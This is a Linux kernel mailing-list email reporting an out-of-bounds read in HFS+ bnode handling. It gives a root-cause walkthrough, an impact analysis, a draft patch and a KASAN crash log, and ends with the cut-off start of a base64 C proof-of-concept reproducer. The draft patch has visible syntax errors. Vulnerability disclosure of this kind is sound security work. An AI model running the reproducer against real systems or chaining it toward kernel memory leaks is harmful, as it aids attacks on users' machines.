From nobody Mon Feb 9 03:47:27 2026 Received: from out162-62-57-49.mail.qq.com (out162-62-57-49.mail.qq.com [162.62.57.49]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 566A62472B7; Mon, 14 Apr 2025 13:45:47 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=162.62.57.49 ARC-Seal: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1744638353; cv=none; b=po7EZJNEmsDcBtKT4Ejnx5OApBBX2hnDXvzx9FPjPemUvcEGbJq9Ln7Fcequ3kzAFcdF9gseHtG3C/Pua+yJO1YLVyD9apASHTXsf71/CGVpEKBIEr+cnyzOYNehNIrKBT01a1t8nYi81UgLu2bj79AGsbIQP3ai7LI1VSSyzeY= ARC-Message-Signature: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1744638353; c=relaxed/simple; bh=4NeYmB9q0Xa5lw/KwLdiknTolot09oWKKUCOR+KLpF8=; h=From:To:Subject:Mime-Version:Content-Type:Date:Message-ID; b=PWmGN5r0Q7IdvqfYo5DKC63/nPr5hya7y/vkDUq78upsQXTS/SI2QOOvGh7M4XQffqKn7OrKTP7tLkkKhoFyfkSFyjPsTEYoRLaTQrryZB6h9bTGyJr2hXTO81L5m+1XvhoTlE2hUcvu2gi7jNy6W5CPDyqrEa1mp1uQcAfFvKQ= ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=foxmail.com; spf=pass smtp.mailfrom=foxmail.com; dkim=pass (1024-bit key) header.d=foxmail.com header.i=@foxmail.com header.b=gEWCDIsg; arc=none smtp.client-ip=162.62.57.49 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=foxmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=foxmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=foxmail.com header.i=@foxmail.com header.b="gEWCDIsg" DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=foxmail.com; s=s201512; t=1744638328; bh=xFZWyms9J6JlCb47mQK2egN6X8OyWTGwa5WXNP4kK1o=; h=From:To:Subject:Date; b=gEWCDIsgN2PlxM/tluW2bv+0tSzSDr797AwQPE27eVVyrGi9fNXQLHharNrkIB+Dn NqeAzIQ5lDvZLYyQPOMDw3hHufiOsx3a3/v4z3S210qojwAL2aIx85jYbHrTZFO87j XO3NVfjeeicwG1E8qpmSmmo1h5CvFs6nHriZsG4A= X-QQ-FEAT: oHWrrGTW1dBM1wq2dbSTgn8AaBOV+Hnu X-QQ-SSF: 00000000000000F0000000000000 X-QQ-XMRINFO: MYTJVxP1dBxwZFBmm3GDYp0= X-QQ-XMAILINFO: NPric4jOaQqklm6cROcT4aIkRRNW8lWF1qMg6kcefKwKWwY7ztMn1S1l12ruLM xpS7ywSXwI8sW3PrgAIHT4NswqyBgEPxInMGUhGLATaIyCrlqPMh3q+iJ9vFcTRjPkH61PAPTi/2X m6HljtA9+ddA9+kfJnhHRfOolQGG6wt/cdpsV1591OtSQ7Mc9ShOuNU5Pf8xPzn5AXyE/HQxXYldp kQzTHAji2samaXJhjnixFmuNcJ1+OpveckujSTh+Xss1gHSpJczu8cRq6szJh6NOI6bT2Ra3R0pZ7 sJMDjDabP1/v3xcVKNcO8pjnfnn6SCA3AnPF6+BFLPOzCz7YRaT0IOY4b27fg/KNwlVNEKcYJbPZo oolr73eSDUOZqiDNX4WgL2iQvywIZ9MixzrHR4kJLTuIdYPrPONcCDuOqDRIQMQ5iZ8EBBtkcDOw+ IFaVgK8o5aACmVMGlVyatI5LknXGcb86gpWWBkVlEqgo0YuLaX2v11gHShrHu4Z5OZXJVJov9Prv3 gmFZIY3Zd0NGdHsJvVdGl+Ay4ByIP8B7IOzRVOteCP/L7Tie/HFn8+wtaBeEkZtKdBrkMjN/4BHTb QtOxwqkoMj5Q/6zu9MqByKYh29oo845yXfW3EpwhBXANQAf/tdMg/2k7poEFkz3aZvgbTP5w1Eo04 /6MBsrF2m31SnuVIhPsFJ0lc/+wBZwmxnTjKDY9CJLTL8Gv2iY+ZVOShIBxhYLhLyJt1095RN96Ns xe9GfI0iqaujbhvoAVzMk7Lq0Ibf8huu2iUO4jVCg0cv51dM2OlXI1IPyYNwtL1HiCG1obhbftyrJ Hnog8RhQRMMtaxMl1cdEjsB6Z2V0wN0T8pp1+LQG2BKJIsQELyc7RWXTwCfCAfEXiYQgOW8jmWZ4K E7trknZnbof5OJiRKBmVl6ebnL4Bd280uBKGB6vT2NFGwABdsJrOL4k/Khd8Tgd7gQt6W2QCNNe5p dCbXz/hFUY1AGCCDU+Yk8psq0tB24= X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-QQ-STYLE: X-QQ-mid: webmail545t1744638326t1976966 From: "=?gb18030?B?bm93NHlyZWFs?=" To: "=?gb18030?B?QnJhdW5lcg==?=" , "=?gb18030?B?TWF0dGhldyBXaWxjb3ggKE9yYWNsZSk=?=" , "=?gb18030?B?S2FyYQ==?=" , "=?gb18030?B?Vmlybw==?=" , "=?gb18030?B?QmFjaWs=?=" , "=?gb18030?B?U3RvbmU=?=" , "=?gb18030?B?U2FuZGVlbg==?=" , "=?gb18030?B?Sm9obnNvbg==?=" , "=?gb18030?B?bGludXgtZnNkZXZlbA==?=" , "=?gb18030?B?bGludXgta2VybmVs?=" Subject: [Bug Report] OOB-read BUG in HFS+ filesystem Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_67FD1176_121BC7B8_06EEDBB9" Content-Transfer-Encoding: 8Bit Date: Mon, 14 Apr 2025 21:45:25 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x This is a multi-part message in MIME format. ------=_NextPart_67FD1176_121BC7B8_06EEDBB9 Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Dear Linux Security Maintainers, I would like to report a OOB-read vulnerability in the HFS+ file system, wh= ich I discovered using our in-house developed kernel fuzzer, Symsyz. 1. Vulnerability Detail and Root Cause: The vulnerability occurs in the function `hfsplus_bnode_dump` at LOC1(Pleas= e see the code below), where it calls `hfs_bnode_read_u16` to read `key_off= ` from the file system at the offset `off`. The value of `key_off` is a val= ue in the image, and its size is controllable by the user (in the POC, we c= ontrol this value to be 29234). At LOC2, `key_off` is used as an offset to = read the content of the file system, triggering the following control flow:= `hfs_bnode_read_u16 -> hfs_bnode_read`. The problem arises in the `hfs_= bnode_read` function at LOC3, where the value of `key_off` read from the fi= le system is not validated. If `key_off >> PAGE_SHIFT` exceeds the ra= nge of `node->page`, it will cause an out-of-bounds read at LOC4, trigge= ring the vulnerability. ```c // fs/hfsplus/bnode.c +291 void hfs_bnode_dump(struct hfs_bnode *node) { struct hfs_bnode_desc desc; __be32 cnid; int i, off, key_off; hfs_dbg(BNODE_MOD, "bnode: %d\n", node->this); hfs_bnode_read(node, &desc, 0, sizeof(desc)); hfs_dbg(BNODE_MOD, "%d, %d, %d, %d, %d\n", be32_to_cpu(desc.next), be32_to_cpu(desc.prev), desc.type, desc.height, be16_to_cpu(desc.num_recs)); off =3D node->tree->node_size - 2; for (i =3D be16_to_cpu(desc.num_recs); i >=3D 0; off -=3D 2, i--) { key_off =3D hfs_bnode_read_u16(node, off); <------- LOC1: read offset = from filesystem hfs_dbg(BNODE_MOD, " %d", key_off); if (i && node->type =3D=3D HFS_NODE_INDEX) { int tmp; if (node->tree->attributes & HFS_TREE_VARIDXKEYS || node->tree->cnid =3D=3D HFSPLUS_ATTR_CNID) tmp =3D hfs_bnode_read_u16(node, key_off) + 2; else tmp =3D node->tree->max_key_len + 2; hfs_dbg_cont(BNODE_MOD, " (%d", tmp); hfs_bnode_read(node, &cnid, key_off + tmp, 4); hfs_dbg_cont(BNODE_MOD, ",%d)", be32_to_cpu(cnid)); } else if (i && node->type =3D=3D HFS_NODE_LEAF) { int tmp; tmp =3D hfs_bnode_read_u16(node, key_off); <------------ LOC2:read co= ntent according to the key_off hfs_dbg_cont(BNODE_MOD, " (%d)", tmp); } } hfs_dbg_cont(BNODE_MOD, "\n"); } // fs/hfsplus/bnode.c +22 void hfs_bnode_read(struct hfs_bnode *node, void *buf, int off, int len) { struct page **pagep; int l; off +=3D node->page_offset; <------------ LOC3: missing check pagep =3D node->page + (off >> PAGE_SHIFT); <------------ LOC4= : trigger the bug off &=3D ~PAGE_MASK; l =3D min_t(int, len, PAGE_SIZE - off); memcpy_from_page(buf, *pagep, off, l); while ((len -=3D l) !=3D 0) { buf +=3D l; l =3D min_t(int, len, PAGE_SIZE); memcpy_from_page(buf, *++pagep, 0, l); } } ``` 2. Impact Analysis Through this vulnerability, it is possible to construct arbitrary kernel me= mory reads, which can be used to leak the kernel base address. When combine= d with other kernel arbitrary write vulnerabilities, this can lead to kerne= l control flow hijacking and other severe security issues. 3. Suggested Fix Add validation for `off` in the function `hfs_bnode_read` (fs/hfsplus/bnode= .c +22), a possible patch may as below. ``` diff --git a/fs/hfsplus/bnode.c b/fs/hfsplus/bnode.c index 87974d5e6791..5bd31ebe648b 100644 --- a/fs/hfsplus/bnode.c +++ b/fs/hfsplus/bnode.c @@ -22,10 +22,14 @@ void hfs_bnode_read(struct hfs_bnode *node, void *buf, int off, int len) { struct page **pagep; - int l; + int l, pagenum; =20 off +=3D node->page_offset; - pagep =3D node->page + (off >> PAGE_SHIFT); + pagenum =3D off >> PAGE_SHIFT + if (pagenum >=3D node->tree->pages_per_bnode) + break; + =20 + pagep =3D node->page + pagenum; off &=3D ~PAGE_MASK; =20 l =3D min_t(int, len, PAGE_SIZE - off); ``` 4. Crash Log Overview: ``` BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x228/0x240 fs/hfsplus= /bnode.c:32 Read of size 8 at addr ffff88802315cfc0 by task syz.0.7/9865 CPU: 0 UID: 0 PID: 9865 Comm: syz.0.7 Not tainted 6.15.0-rc1-00308-gecd5d67= ad602 #3 PREEMPT(full) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1= .1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x10e/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:408 [inline] print_report+0xc6/0x680 mm/kasan/report.c:521 kasan_report+0xe4/0x120 mm/kasan/report.c:634 hfsplus_bnode_read+0x228/0x240 fs/hfsplus/bnode.c:32 hfsplus_bnode_read_u16 fs/hfsplus/bnode.c:45 [inline] hfsplus_bnode_dump+0x31f/0x3c0 fs/hfsplus/bnode.c:321 hfsplus_brec_remove+0x3d2/0x4e0 fs/hfsplus/brec.c:229 __hfsplus_delete_attr+0x2a0/0x3b0 fs/hfsplus/attributes.c:299 hfsplus_delete_all_attrs+0x26f/0x330 fs/hfsplus/attributes.c:378 hfsplus_delete_cat+0x851/0xde0 fs/hfsplus/catalog.c:425 hfsplus_unlink+0x20f/0x7f0 fs/hfsplus/dir.c:385 hfsplus_rename+0xbc/0x200 fs/hfsplus/dir.c:547 vfs_rename+0xf47/0x2120 fs/namei.c:5086 do_renameat2+0x82c/0xc90 fs/namei.c:5235 __do_sys_renameat2 fs/namei.c:5269 [inline] __se_sys_renameat2 fs/namei.c:5266 [inline] __x64_sys_renameat2+0xe7/0x130 fs/namei.c:5266 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xc7/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2a209b2d5d Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 = 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f= 0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f2a2181cba8 EFLAGS: 00000246 ORIG_RAX: 000000000000013c RAX: ffffffffffffffda RBX: 00007f2a20bd5fa0 RCX: 00007f2a209b2d5d RDX: 0000000000000004 RSI: 00004000000000c0 RDI: 0000000000000005 RBP: 00007f2a20a36327 R08: 0000000000000000 R09: 0000000000000000 R10: 0000400000000180 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f2a20bd5fac R14: 00007f2a20bd6038 R15: 00007f2a2181cd40 Allocated by task 9865: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:377 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:394 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4331 [inline] __kmalloc_noprof+0x20e/0x560 mm/slub.c:4343 kmalloc_noprof include/linux/slab.h:909 [inline] kzalloc_noprof include/linux/slab.h:1039 [inline] __hfs_bnode_create+0x107/0x8b0 fs/hfsplus/bnode.c:409 hfsplus_bnode_find+0x2db/0xd20 fs/hfsplus/bnode.c:486 hfsplus_brec_find+0x2b8/0x520 fs/hfsplus/bfind.c:172 hfsplus_find_attr fs/hfsplus/attributes.c:160 [inline] hfsplus_delete_all_attrs+0x248/0x330 fs/hfsplus/attributes.c:371 hfsplus_delete_cat+0x851/0xde0 fs/hfsplus/catalog.c:425 hfsplus_unlink+0x20f/0x7f0 fs/hfsplus/dir.c:385 hfsplus_rename+0xbc/0x200 fs/hfsplus/dir.c:547 vfs_rename+0xf47/0x2120 fs/namei.c:5086 do_renameat2+0x82c/0xc90 fs/namei.c:5235 __do_sys_renameat2 fs/namei.c:5269 [inline] __se_sys_renameat2 fs/namei.c:5266 [inline] __x64_sys_renameat2+0xe7/0x130 fs/namei.c:5266 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xc7/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The buggy address belongs to the object at ffff88802315cf00 which belongs to the cache kmalloc-192 of size 192 The buggy address is located 40 bytes to the right of allocated 152-byte region [ffff88802315cf00, ffff88802315cf98) The buggy address belongs to the physical page: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88802315ce= 00 pfn:0x2315c flags: 0xfff00000000200(workingset|node=3D0|zone=3D1|lastcpupid=3D0x7ff) page_type: f5(slab) raw: 00fff00000000200 ffff88801b4413c0 ffffea0000005310 ffff88801b440288 raw: ffff88802315ce00 0000000000100002 00000000f5000000 0000000000000000 page dumped because: kasan: bad access detected page_owner tracks the page as allocated page last allocated via order 0, migratetype Unmovable, gfp_mask 0x252800(G= FP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_THISNODE), pid 9, tgid 9 (kworker/= 0:0), ts 36080866601, free_ts 24921668201 set_page_owner include/linux/page_owner.h:32 [inline] post_alloc_hook+0x181/0x1b0 mm/page_alloc.c:1717 prep_new_page mm/page_alloc.c:1725 [inline] get_page_from_freelist+0x1074/0x3780 mm/page_alloc.c:3652 __alloc_pages_slowpath mm/page_alloc.c:4473 [inline] __alloc_frozen_pages_noprof+0x5a5/0x2420 mm/page_alloc.c:4947 alloc_slab_page mm/slub.c:2461 [inline] allocate_slab mm/slub.c:2623 [inline] new_slab+0x94/0x340 mm/slub.c:2676 ___slab_alloc+0xd97/0x1970 mm/slub.c:3862 __slab_alloc.isra.0+0x56/0xb0 mm/slub.c:3952 __slab_alloc_node mm/slub.c:4027 [inline] slab_alloc_node mm/slub.c:4188 [inline] __kmalloc_cache_node_noprof+0x276/0x420 mm/slub.c:4370 kmalloc_node_noprof include/linux/slab.h:928 [inline] alloc_worker kernel/workqueue.c:2647 [inline] create_worker+0x10f/0x7e0 kernel/workqueue.c:2790 maybe_create_worker kernel/workqueue.c:3063 [inline] manage_workers kernel/workqueue.c:3115 [inline] worker_thread+0x926/0xe60 kernel/workqueue.c:3375 kthread+0x3a5/0x770 kernel/kthread.c:464 ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 page last free pid 5273 tgid 5273 stack trace: reset_page_owner include/linux/page_owner.h:25 [inline] free_pages_prepare mm/page_alloc.c:1262 [inline] __free_frozen_pages+0x709/0x1030 mm/page_alloc.c:2680 rcu_do_batch kernel/rcu/tree.c:2568 [inline] rcu_core+0x7ad/0x14a0 kernel/rcu/tree.c:2824 handle_softirqs+0x1e7/0x8a0 kernel/softirq.c:579 __do_softirq kernel/softirq.c:613 [inline] invoke_softirq kernel/softirq.c:453 [inline] __irq_exit_rcu+0xfe/0x160 kernel/softirq.c:680 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline] sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1049 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:= 702 Memory state around the buggy address: ffff88802315ce80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff88802315cf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff88802315cf80: 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc fc ^ ffff88802315d000: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc ffff88802315d080: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc ``` Since I am not a core hfs developer and only have a general understanding o= f the file system=E2=80=99s internal logic, there might be inaccuracies in = this analysis. I would appreciate it if you could forward this report to th= e appropriate maintainers for confirmation and further investigation. Pleas= e feel free to reach out if you need any clarification or would like additi= onal information. I=E2=80=99ve attached the POC (written in C) for your convenience =E2=80=94= it can be compiled directly with `gcc`. Thanks for your attention to this matter. Best regards, luka ------=_NextPart_67FD1176_121BC7B8_06EEDBB9 Content-Type: application/octet-stream; charset="gb18030"; name="POC.c" Content-Disposition: attachment; filename="POC.c" Content-Transfer-Encoding: base64 I2RlZmluZSBfR05VX1NPVVJDRSANCg0KI2luY2x1ZGUgPGVuZGlhbi5oPg0KI2luY2x1ZGUg PGVycm5vLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDxzZXRqbXAuaD4NCiNp bmNsdWRlIDxzdGRib29sLmg+DQojaW5jbHVkZSA8c3RkZGVmLmg+DQojaW5jbHVkZSA8c3Rk aW50Lmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNs dWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxzeXMvaW9jdGwuaD4NCiNpbmNsdWRlIDxzeXMv bW1hbi5oPg0KI2luY2x1ZGUgPHN5cy9tb3VudC5oPg0KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+ DQojaW5jbHVkZSA8c3lzL3N5c2NhbGwuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNp bmNsdWRlIDx1bmlzdGQuaD4NCg0KI2luY2x1ZGUgPGxpbnV4L2xvb3AuaD4NCg0KI2lmbmRl ZiBfX05SX21lbWZkX2NyZWF0ZQ0KI2RlZmluZSBfX05SX21lbWZkX2NyZWF0ZSAzMTkNCiNl bmRpZg0KDQpzdGF0aWMgdW5zaWduZWQgbG9uZyBsb25nIHByb2NpZDsNCg0KLy8lIFRoaXMg Y29kZSBpcyBkZXJpdmVkIGZyb20gcHVmZi57YyxofSwgZm91bmQgaW4gdGhlIHpsaWIgZGV2 ZWxvcG1lbnQuIFRoZQ0KLy8lIG9yaWdpbmFsIGZpbGVzIGNvbWUgd2l0aCB0aGUgZm9sbG93 aW5nIGNvcHlyaWdodCBub3RpY2U6DQoNCi8vJSBDb3B5cmlnaHQgKEMpIDIwMDItMjAxMyBN YXJrIEFkbGVyLCBhbGwgcmlnaHRzIHJlc2VydmVkDQovLyUgdmVyc2lvbiAyLjMsIDIxIEph biAyMDEzDQovLyUgVGhpcyBzb2Z0d2FyZSBpcyBwcm92aWRlZCAnYXMtaXMnLCB3aXRob3V0 IGFueSBleHByZXNzIG9yIGltcGxpZWQNCi8vJSB3YXJyYW50eS4gIEluIG5vIGV2ZW50IHdp bGwgdGhlIGF1dGhvciBiZSBoZWxkIGxpYWJsZSBmb3IgYW55IGRhbWFnZXMNCi8vJSBhcmlz aW5nIGZyb20gdGhlIHVzZSBvZiB0aGlzIHNvZnR3YXJlLg0KLy8lIFBlcm1pc3Npb24gaXMg Z3JhbnRlZCB0byBhbnlvbmUgdG8gdXNlIHRoaXMgc29mdHdhcmUgZm9yIGFueSBwdXJwb3Nl LA0KLy8lIGluY2x1ZGluZyBjb21tZXJjaWFsIGFwcGxpY2F0aW9ucywgYW5kIHRvIGFsdGVy IGl0IGFuZCByZWRpc3RyaWJ1dGUgaXQNCi8vJSBmcmVlbHksIHN1YmplY3QgdG8gdGhlIGZv bGxvd2luZyByZXN0cmljdGlvbnM6DQovLyUgMS4gVGhlIG9yaWdpbiBvZiB0aGlzIHNvZnR3 YXJlIG11c3Qgbm90IGJlIG1pc3JlcHJlc2VudGVkOyB5b3UgbXVzdCBub3QNCi8vJSAgICBj bGFpbSB0aGF0IHlvdSB3cm90ZSB0aGUgb3JpZ2luYWwgc29mdHdhcmUuIElmIHlvdSB1c2Ug dGhpcyBzb2Z0d2FyZQ0KLy8lICAgIGluIGEgcHJvZHVjdCwgYW4gYWNrbm93bGVkZ21lbnQg aW4gdGhlIHByb2R1Y3QgZG9jdW1lbnRhdGlvbiB3b3VsZCBiZQ0KLy8lICAgIGFwcHJlY2lh dGVkIGJ1dCBpcyBub3QgcmVxdWlyZWQuDQovLyUgMi4gQWx0ZXJlZCBzb3VyY2UgdmVyc2lv bnMgbXVzdCBiZSBwbGFpbmx5IG1hcmtlZCBhcyBzdWNoLCBhbmQgbXVzdCBub3QgYmUNCi8v JSAgICBtaXNyZXByZXNlbnRlZCBhcyBiZWluZyB0aGUgb3JpZ2luYWwgc29mdHdhcmUuDQov LyUgMy4gVGhpcyBub3RpY2UgbWF5IG5vdCBiZSByZW1vdmVkIG9yIGFsdGVyZWQgZnJvbSBh bnkgc291cmNlIGRpc3RyaWJ1dGlvbi4NCi8vJSBNYXJrIEFkbGVyICAgIG1hZGxlckBhbHVt bmkuY2FsdGVjaC5lZHUNCg0KLy8lIEJFR0lOIENPREUgREVSSVZFRCBGUk9NIHB1ZmYue2Ms aH0NCg0KI2RlZmluZSBNQVhCSVRTIDE1DQojZGVmaW5lIE1BWExDT0RFUyAyODYNCiNkZWZp bmUgTUFYRENPREVTIDMwDQojZGVmaW5lIE1BWENPREVTIChNQVhMQ09ERVMgKyBNQVhEQ09E RVMpDQojZGVmaW5lIEZJWExDT0RFUyAyODgNCg0Kc3RydWN0IHB1ZmZfc3RhdGUgew0KCXVu c2lnbmVkIGNoYXIqIG91dDsNCgl1bnNpZ25lZCBsb25nIG91dGxlbjsNCgl1bnNpZ25lZCBs b25nIG91dGNudDsNCgljb25zdCB1bnNpZ25lZCBjaGFyKiBpbjsNCgl1bnNpZ25lZCBsb25n IGlubGVuOw0KCXVuc2lnbmVkIGxvbmcgaW5jbnQ7DQoJaW50IGJpdGJ1ZjsNCglpbnQgYml0 Y250Ow0KCWptcF9idWYgZW52Ow0KfTsNCnN0YXRpYyBpbnQgcHVmZl9iaXRzKHN0cnVjdCBw dWZmX3N0YXRlKiBzLCBpbnQgbmVlZCkNCnsNCglsb25nIHZhbCA9IHMtPmJpdGJ1ZjsNCgl3 aGlsZSAocy0+Yml0Y250IDwgbmVlZCkgew0KCQlpZiAocy0+aW5jbnQgPT0gcy0+aW5sZW4p DQoJCQlsb25nam1wKHMtPmVudiwgMSk7DQoJCXZhbCB8PSAobG9uZykocy0+aW5bcy0+aW5j bnQrK10pIDw8IHMtPmJpdGNudDsNCgkJcy0+Yml0Y250ICs9IDg7DQoJfQ0KCXMtPmJpdGJ1 ZiA9IChpbnQpKHZhbCA+PiBuZWVkKTsNCglzLT5iaXRjbnQgLT0gbmVlZDsNCglyZXR1cm4g KGludCkodmFsICYgKCgxTCA8PCBuZWVkKSAtIDEpKTsNCn0NCnN0YXRpYyBpbnQgcHVmZl9z dG9yZWQoc3RydWN0IHB1ZmZfc3RhdGUqIHMpDQp7DQoJcy0+Yml0YnVmID0gMDsNCglzLT5i aXRjbnQgPSAwOw0KCWlmIChzLT5pbmNudCArIDQgPiBzLT5pbmxlbikNCgkJcmV0dXJuIDI7 DQoJdW5zaWduZWQgbGVuID0gcy0+aW5bcy0+aW5jbnQrK107DQoJbGVuIHw9IHMtPmluW3Mt PmluY250KytdIDw8IDg7DQoJaWYgKHMtPmluW3MtPmluY250KytdICE9ICh+bGVuICYgMHhm ZikgfHwNCgkgICAgcy0+aW5bcy0+aW5jbnQrK10gIT0gKCh+bGVuID4+IDgpICYgMHhmZikp DQoJCXJldHVybiAtMjsNCglpZiAocy0+aW5jbnQgKyBsZW4gPiBzLT5pbmxlbikNCgkJcmV0 dXJuIDI7DQoJaWYgKHMtPm91dGNudCArIGxlbiA+IHMtPm91dGxlbikNCgkJcmV0dXJuIDE7 DQoJZm9yICg7IGxlbi0tOyBzLT5vdXRjbnQrKywgcy0+aW5jbnQrKykgew0KCQlpZiAocy0+ aW5bcy0+aW5jbnRdKQ0KCQkJcy0+b3V0W3MtPm91dGNudF0gPSBzLT5pbltzLT5pbmNudF07 DQoJfQ0KCXJldHVybiAwOw0KfQ0Kc3RydWN0IHB1ZmZfaHVmZm1hbiB7DQoJc2hvcnQqIGNv dW50Ow0KCXNob3J0KiBzeW1ib2w7DQp9Ow0Kc3RhdGljIGludCBwdWZmX2RlY29kZShzdHJ1 Y3QgcHVmZl9zdGF0ZSogcywgY29uc3Qgc3RydWN0IHB1ZmZfaHVmZm1hbiogaCkNCnsNCglp bnQgZmlyc3QgPSAwOw0KCWludCBpbmRleCA9IDA7DQoJaW50IGJpdGJ1ZiA9IHMtPmJpdGJ1 ZjsNCglpbnQgbGVmdCA9IHMtPmJpdGNudDsNCglpbnQgY29kZSA9IGZpcnN0ID0gaW5kZXgg PSAwOw0KCWludCBsZW4gPSAxOw0KCXNob3J0KiBuZXh0ID0gaC0+Y291bnQgKyAxOw0KCXdo aWxlICgxKSB7DQoJCXdoaWxlIChsZWZ0LS0pIHsNCgkJCWNvZGUgfD0gYml0YnVmICYgMTsN CgkJCWJpdGJ1ZiA+Pj0gMTsNCgkJCWludCBjb3VudCA9ICpuZXh0Kys7DQoJCQlpZiAoY29k ZSAtIGNvdW50IDwgZmlyc3QpIHsNCgkJCQlzLT5iaXRidWYgPSBiaXRidWY7DQoJCQkJcy0+ Yml0Y250ID0gKHMtPmJpdGNudCAtIGxlbikgJiA3Ow0KCQkJCXJldHVybiBoLT5zeW1ib2xb aW5kZXggKyAoY29kZSAtIGZpcnN0KV07DQoJCQl9DQoJCQlpbmRleCArPSBjb3VudDsNCgkJ CWZpcnN0ICs9IGNvdW50Ow0KCQkJZmlyc3QgPDw9IDE7DQoJCQljb2RlIDw8PSAxOw0KCQkJ bGVuKys7DQoJCX0NCgkJbGVmdCA9IChNQVhCSVRTICsgMSkgLSBsZW47DQoJCWlmIChsZWZ0 ID09IDApDQoJCQlicmVhazsNCgkJaWYgKHMtPmluY250ID09IHMtPmlubGVuKQ0KCQkJbG9u Z2ptcChzLT5lbnYsIDEpOw0KCQliaXRidWYgPSBzLT5pbltzLT5pbmNudCsrXTsNCgkJaWYg KGxlZnQgPiA4KQ0KCQkJbGVmdCA9IDg7DQoJfQ0KCXJldHVybiAtMTA7DQp9DQpzdGF0aWMg aW50IHB1ZmZfY29uc3RydWN0KHN0cnVjdCBwdWZmX2h1ZmZtYW4qIGgsIGNvbnN0IHNob3J0 KiBsZW5ndGgsIGludCBuKQ0Kew0KCWludCBsZW47DQoJZm9yIChsZW4gPSAwOyBsZW4gPD0g TUFYQklUUzsgbGVuKyspDQoJCWgtPmNvdW50W2xlbl0gPSAwOw0KCWludCBzeW1ib2w7DQoJ Zm9yIChzeW1ib2wgPSAwOyBzeW1ib2wgPCBuOyBzeW1ib2wrKykNCgkJKGgtPmNvdW50W2xl bmd0aFtzeW1ib2xdXSkrKzsNCglpZiAoaC0+Y291bnRbMF0gPT0gbikNCgkJcmV0dXJuIDA7 DQoJaW50IGxlZnQgPSAxOw0KCWZvciAobGVuID0gMTsgbGVuIDw9IE1BWEJJVFM7IGxlbisr KSB7DQoJCWxlZnQgPDw9IDE7DQoJCWxlZnQgLT0gaC0+Y291bnRbbGVuXTsNCgkJaWYgKGxl ZnQgPCAwKQ0KCQkJcmV0dXJuIGxlZnQ7DQoJfQ0KCXNob3J0IG9mZnNbTUFYQklUUyArIDFd Ow0KCW9mZnNbMV0gPSAwOw0KCWZvciAobGVuID0gMTsgbGVuIDwgTUFYQklUUzsgbGVuKysp DQoJCW9mZnNbbGVuICsgMV0gPSBvZmZzW2xlbl0gKyBoLT5jb3VudFtsZW5dOw0KCWZvciAo c3ltYm9sID0gMDsgc3ltYm9sIDwgbjsgc3ltYm9sKyspDQoJCWlmIChsZW5ndGhbc3ltYm9s XSAhPSAwKQ0KCQkJaC0+c3ltYm9sW29mZnNbbGVuZ3RoW3N5bWJvbF1dKytdID0gc3ltYm9s 